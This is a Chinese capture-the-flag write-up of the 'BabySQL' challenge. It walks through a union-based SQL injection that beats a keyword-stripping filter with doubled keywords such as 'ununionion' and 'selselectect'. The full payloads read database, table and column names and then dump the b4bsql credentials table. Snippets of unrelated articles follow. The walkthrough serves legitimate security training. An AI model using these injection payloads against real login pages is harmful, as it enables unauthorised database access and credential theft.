[极客大挑战 2019]BabySQL1

这是上一个SQL注入的升级版,首先打开靶机

有了上次的经验,我们直接联合查询:?username=aaa'union select null,null,null#&password=1234

看报错信息,null,null,null#有错误,猜测select被过滤了

我们把 select 改成 selselectect,这样 select 被过滤后,剩下的sel和ect又可以拼成 select

可以看到select确实出现了,但是union没有出现,应该也是被过滤了,同样的,我们做个拼接

?username=aaa'ununionion selselectect null,null,null#&.....

 

 成功登陆,接下来我们把null换成 11,22,33,找到注入点,然后利用注入点查看 数据库名(跟上一个题目类似,这里不多写了)。可以看到有个geek的数据库

?username=aaa'ununionion seleselectct 11,database(),33#&.....

接着我们查看数据库中的表  ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

看到报错了, from information_schema没有出现在错误信息里,这时候猜测 from or 都被过滤了,跟上面的做法类似,我们做个拼接 ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) frfromom infofromrmation_schema.tables whewherere table_schema=database()#

这里一个小技巧,information我们给拼接为 info-from-rmation,这样中间的from被过滤之后,剩下的部分刚好拼接为 information

然后我们看看b4bsql里面哪些列  ?username=aaa'ununionion seleselectct 11,database(),group_concat(column_name) frfromom infofromrmation_schema.columns whewherere table_name='b4bsql'#

接着把b4bsql表中的内容取出来  ?username=aaa'ununionion seleselectct 11,database(),group_concat(id,username,passwoorrd) frfromom b4bsql#  拿到flag

总结一下,这个题目在现实的程序中应该没有,服务器把 from  unino select or (估计还有 order by等等)这些关键字过滤,过滤方式是如果 字符串中存在,则直接替换为空(注意不是空格,而是空,这就给我们利用这个规则,拼接sql语句提供了可能)。搞明白这个规则之后,后面的操作就是常规的SQL注入了。不过我对SQL语句还是不熟练,所以在拼接的时候还出现很多错误。继续积累经验。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/385379.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spring常用注解有哪些

Spring框架使用了大量的注解来简化配置和开发,以下是一些常用的Spring注解: 1.Component:通用的构造型注解,用于标记一个类作为Spring管理的组件,通常用于自定义组件。 2.Autowired:用于自动装配Bean&#…

OCCT使用指南:Foundation Classes

1、介绍 本手册解释了如何使用Open CASCADE Technology (OCCT) Foundation Classes。它提供了关于基础类的基础文档。有关基础类及其应用的高级信息,请参阅我们的电子学习和培训产品。 基础类提供各种通用服务,如自动动态内存管理(通过句柄操…

RT-Thread debug 卡死在Stm32_putc问题分析解决

问题和解决方法 找了块开发板玩RT-Thread,一顿骚操作之后,发现debug就卡死在Stm32_putc(不稳定,反复重新上下电,重来有时候卡死有时候不卡死),卡死情况如下图: 先最后的解决方法:取消调默认的内…

MySQL数据库-备份恢复

一、MySQL日志管理 1.为什么需要日志 用于排错用来做数据分析了解程序的运行情况,了解MySQL的性能 2.日志作用 在数据库保存数据时,有时候不可避免会出现数据丢失或者被破坏,这样情况下,就必须保证数据的安全性和完整性&#…

《javaEE篇》--阻塞队列详解

阻塞队列 阻塞队列概述 阻塞队列也是一种队列,和普通队列一样遵循先进先出的原则,但是阻塞队列相较于普通队列多了两项功能阻塞添加和阻塞移除,使得阻塞队列成为一种线程安全的数据结构 阻塞添加:当队列满的时候继续入队就会阻…

css大屏设置中间元素四周渐变透明效果

css大屏设置中间元素四周渐变透明效果 四周透明效果: // 设置蒙版上下左右渐变显示mask-image: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 1) 10%, rgba(0, 0, 0, 1) 90%, rgba(0, 0, 0, 0) 100%),linear-gradient(to bottom, rgba(0, 0, 0…

scrapy 爬取旅游景点相关数据(一)

第一节 Scrapy 练习爬取穷游旅游景点 配套视频可以前往B站:https://www.bilibili.com/video/BV1Vx4y147wQ/?vd_source4c338cd1b04806ba681778966b6fbd65 本项目为scrapy 练手项目,爬取的是穷游旅游景点列表数据 0 系统的环境 现在网上可以找到很多scr…

ArcGIS Desktop使用入门(四)——ArcMap软件彻底卸载删除干净

系列文章目录 ArcGIS Desktop使用入门(一)软件初认识 ArcGIS Desktop使用入门(二)常用工具条——标准工具 ArcGIS Desktop使用入门(二)常用工具条——编辑器 ArcGIS Desktop使用入门(二&#x…

AV1技术学习:Quantization

量化是对变换系数进行,并将量化索引熵编码。AV1的量化参数 QP 的取值范围是0 ~ 255。 一、Quantization Step Size 在给定的 QP 下,DC 系数的量化步长小于 AC 系数的量化步长。DC 系数和 AC 系数从 QP 到量化步长的映射如下图所示。当 QP 为 0 时&…

全开源收银系统源码-支付通道

1.收银系统开发语言 核心开发语言: PHP、HTML5、Dart后台接口: PHP7.3后合管理网站: HTML5vue2.0element-uicssjs线下收银台(安卓/PC收银、安卓自助收银): Dart3框架:Flutter 3.19.6助手: uniapp商城: uniapp 2.支付通道 智慧新零售收银系统…

使用vscode,cmake,opencv gpu进行硬解码视频

在此之前需要基于msvc编译器来编译gpu版opencv,详细内容请查看windows下不依赖Visual Studio编译gpu版opencv,支持硬解码硬编码 vscode安装:这个就不赘述了,安装完vscode后需要安装cmake tools插件配置opencv的dll库路径&#xf…

Windows版MySQL8.4.2LTS解压直用(下载免安装-绿色-项目打包直接使用-含卸载)

文章目录 下载地址选择GPL选择server选择8.5.2LTS长期服务版 配置解压配置环境变量初始化新建my.ini配置root密码安装mysql启动mysql服务 使用mysql登陆mysql修改mysql密码设置客户端可连接远程MySQL服务器修改host为值为”%“ 执行语句: update user set host% where userroot…

K210视觉识别模块学习笔记8:Mx_yolo3本地模型训练环境搭建_部署模型到亚博canmv(失败)

今日开始学习K210视觉识别模块: 本地模型训练环境搭建 亚博智能 K210视觉识别模块...... 固件库: canmv_yahboom_v2.1.1.bin 本地训练 Mx_yolo3 这里就简单地提示一下下载安装哪些软件,然后主要是使用Mx_yolo3 进行本地训练模型的...... 本文不…

第13周 简历职位功能开发与Zookeeper实战

第13周 简历职位功能开发与Zookeeper实战 本章概述1. Mysql8窗口函数over使用1.1 演示表结构与数据1.2 案例1:获取男女总分数1.3 案例2****************************************************************************************本章概述 1. Mysql8窗口函数over使用 参考案例…

【算法】分布式共识Paxos

一、引言 在分布式系统中,一致性是至关重要的一个问题。Paxos算法是由莱斯利兰伯特(Leslie Lamport)在1990年提出的一种解决分布式系统中一致性问题的算法。 二、算法原理 Paxos算法的目标是让一个分布式系统中的多个节点就某个值达成一致。算…

Linux--Socket编程预备

目录 1. 理解源 IP 地址和目的 IP 地址 2.端口号 2.1端口号(port)是传输层协议的内容 2.2端口号范围划分 2.3理解 "端口号" 和 "进程 ID" 2.4理解 socket 3.传输层的典型代表 3.1认识 TCP 协议 3.2认识 UDP 协议 4. 网络字节序 5. socket 编程接…

代码随想录day21 二叉树最后一天 || 669修剪二叉树 108将有序数组转变为平衡搜索二叉树 538把搜索二叉树变为累加二叉树

669修剪二叉树 力扣题目链接 题目描述: 给你二叉搜索树的根节点 root ,同时给定最小边界low 和最大边界 high。通过修剪二叉搜索树,使得所有节点的值在[low, high]中。修剪树 不应该 改变保留在树中的元素的相对结构 (即,如果…

基于Neo4j将知识图谱用于检索增强生成:Knowledge Graphs for RAG

Knowledge Graphs for RAG 本文是学习https://www.deeplearning.ai/short-courses/knowledge-graphs-rag/这门课的学习笔记。 What you’ll learn in this course Knowledge graphs are used in development to structure complex data relationships, drive intelligent sea…

【BUG】已解决:UnicodeDecodeError: ‘utf-8’ codec can’t decode bytes in position 10

UnicodeDecodeError: ‘utf-8’ codec can’t decode bytes in position 10 目录 UnicodeDecodeError: ‘utf-8’ codec can’t decode bytes in position 10 【常见模块错误】 【解决方案】 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页&#x…

SpringBoot3 JDK21 Vue3开源后台RBAC管理系统 | 2024年好用的开源RBAC管理系统 | 数据权限的探索

序言 项目现已全面开源,商业用途完全免费! 当前版本:v0.7.2。 如果喜欢这个项目或支持作者,欢迎Star、Fork、Watch 一键三连 🚀!! 在构建此代码框架的过程中,我已投入了大量精力&…